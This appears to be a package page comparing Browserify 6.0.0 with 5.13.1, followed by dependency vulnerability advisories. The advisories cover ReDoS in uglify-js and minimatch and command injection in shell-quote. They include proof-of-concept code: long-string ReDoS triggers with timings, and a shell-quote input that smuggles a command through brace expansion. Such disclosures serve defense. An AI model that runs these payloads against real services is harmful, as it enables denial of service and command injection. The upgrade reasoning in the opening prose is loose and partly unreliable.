Browserify version 6.0.0 introduces subtle but important changes compared to its predecessor, version 5.13.1. Both versions maintain the core functionality of enabling require() in the browser, streamlining modular JavaScript development for front-end applications. Key dependencies remain largely consistent including essential modules like umd, url, glob, xtend and module-deps, ensuring backward compatibility and a familiar development experience.
The most notable difference lies within the browser-pack dependency, upgraded from version 3.0.0 to 3.2.0. While seemingly minor, such updates often include performance optimizations and bug fixes, potentially resulting in slightly faster build times and improved stability during the browserification process. Developers should consult the browser-pack changelog for a detailed overview of the specific enhancements introduced in that sub-dependency.
Furthermore, examining dependent versions reveals that both versions aim to align with their dependency ecosystem's capabilities at the time of release, with slight differences in the releaseDate: the newer version has been released approximately one hour later meaning that all it's included dependencies were the latest stable at that time making it potentially more secure with dependencies having applied security fixes, if any.
For developers, upgrading to Browserify 6.0.0 is therefore a recommended step to benefit from the combined improvements across its dependency tree. However, a review of browser-pack's updates is advisable to ensure there are no breaking changes in individual workflows that rely on specific undocumented behavior. Overall, the transition should be straightforward, promising a smoother browserification experience without necessitating significant code modifications.
All the vulnerabilities related to the version 6.0.0 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Potential Command Injection in shell-quote
Affected versions of shell-quote do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >,;,{,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {} and using the , instead of to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.